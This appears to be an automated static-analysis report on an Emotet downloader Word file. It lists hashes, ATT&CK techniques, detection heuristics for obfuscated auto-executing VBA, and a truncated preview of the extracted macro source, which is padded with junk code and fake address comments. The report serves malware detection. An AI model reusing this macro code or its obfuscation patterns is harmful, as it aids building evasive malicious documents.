Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8f32b851e59df9ed…

MALICIOUS

Office (OLE)

239.5 KB Created: 2019-10-09 12:18:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 4b9ee91e81de3e8e5c8219837906e30c SHA-1: 0083006144f16de337da50334397060cd86b88d1 SHA-256: 8f32b851e59df9ed854ef911809f89df6bf8b0d3df877495cf0555342bbd1674
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-7290589-0. High and critical heuristics indicate the presence of obfuscated auto-executing VBA macros, including a CreateObject call and a loader designed to execute code. The VBA macro code itself is heavily obfuscated, but the presence of auto-executing macros and the ClamAV signature strongly suggest a downloader functionality, likely for Emotet.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-7290589-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7290589-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 65748 bytes
SHA-256: 3d0deb8d70e5b32a383489969dca82115f42b1b6e4882b68c8d94c7d2859188b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "b3x410300bb"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "b104011b45b, 0, 0, MSForms, TextBox"
Attribute VB_Control = "b0430ccbb3b06, 1, 1, MSForms, TextBox"
Attribute VB_Control = "x266373068120, 2, 2, MSForms, TextBox"
Attribute VB_Control = "xx200bb06b50, 3, 3, MSForms, TextBox"
Attribute VB_Control = "cb0x012086032, 4, 4, MSForms, TextBox"
Attribute VB_Control = "cb270bxc3c44, 5, 5, MSForms, TextBox"

Attribute VB_Name = "b6401056x20b"
Function b6810022b0b0()
On Error Resume Next
   'District6881 Prohaska Lodge, North Katrinaland, Iran Lead5851 Kuvalis Well, East Marieland, Russian Federation
b2b20x5c659 = False
'Global971 Alexandrea Squares, Beckershire, French Guiana District70038 Lucas Squares, Vandervortshire, Bahrain
Select Case c51xxx938c0
'International63130 Reilly Crest, Ashleighview, French Guiana Chief186 Hayden Green, Jenkinschester, Lithuania
         Case b2x4246530007
         'District0770 Rosanna Throughway, East Raegan, Taiwan Human7448 Maci Plain, Kaitlynmouth, Mauritius
         'Investor80997 Icie Courts, West Lamontland, Guinea Legacy0670 Devante Run, Bahringerstad, Madagascar
b974104b730 = False
'District09769 Antwon Drive, Cormiermouth, Iraq District59338 Asa Cove, Gladycemouth, Guatemala
            c9cb3b71cb13 = b65c43490668b
            'National1959 Jose Lodge, Lake Flo, Turkmenistan District8675 Doyle Hill, Port Geo, Russian Federation
            bb300770865 = CInt(b74bcxx7bc5 - CByte(x0779x7x9x0))
            'Corporate3037 Hyatt Islands, Port Edmundberg, Nepal Product8301 Adella Underpass, South Maryjaneland, Ukraine
            x080802312c = Cos(xx730098401x)
'Lead37395 Reilly Hill, North Rozella, Italy National063 Jarrett Station, Gulgowskihaven, Myanmar
bb0757002026 = True
'Central748 Witting Knolls, Jacobsonburgh, Tuvalu Principal45717 Kaylah Row, Lyricland, United Arab Emirates
            c064bc0744bx0 = Rnd(c50050149807c)
            'Lead2208 Koch Shoal, New Braden, Anguilla District13925 Lueilwitz Stream, North Mavis, Zimbabwe
         Case x420042008508
         'Direct13881 Pearline Key, Myrtisville, Mauritius Corporate59028 Hermann Branch, Paytonburgh, Uzbekistan
            b05b2559bx87 = x700839909497
            'Lead0436 Walter Tunnel, Port Geovany, Turkey Regional5143 Fermin Corners, McClureton, Cyprus
            c06xc1xcb52 = CDbl(x0b05b9x8bxx)
            'Principal741 Aaron Valleys, Clarafurt, Botswana Investor071 Camille Curve, West Idell, Costa Rica
End Select
'District88438 Dandre Key, Stokesview, Botswana Chief914 Mariano Way, Lake Hipolito, Australia
c987087bbb686 = True
'Global5819 Trenton Square, Lake Rupert, Falkland Islands (Malvinas) Corporate97253 Eino Rapids, Fadelview, Slovenia
   'Forward6849 Runte Highway, Port Darrionfort, American Samoa Customer405 Schmitt Loop, Brucechester, Mauritius
b87535828400 = False
'Chief39980 Baumbach Center, Kundefort, Montenegro Future019 Zemlak Fields, Makennaborough, Hong Kong
Select Case cx2003b80900
'Human84749 Mosciski Common, South Alexandrinefurt, Indonesia Legacy30473 Shanahan Streets, VonRuedenberg, Austria
         Case c05300c9063c0
         'Regional434 Anya Plains, Champlinview, Russian Federation Internal2736 Green Ridges, Alvaport, Costa Rica
         'Corporate454 Little Orchard, Trentonmouth, Senegal Product519 Predovic Keys, East Jordanberg, Antigua and Barbuda
x04x086070x = False
'Product42469 Amelia Oval, Stefanieburgh, France Lead34086 Veum Via, Baileyville, Peru
            c097883005034 = c587247039x
            'Investor41803 Conroy Mills, Ziemannberg, Philippines Direct96319 Walsh Extensions, Agnesport, India
            x05064x0005b = CInt(b268492xcc4c - CByte(c308300x000))
            'Investor23176 Beer Oval, Hicklefort, Malaysia Chief61246 Nicole Dale, Bahringerbury, Christmas
... (truncated)

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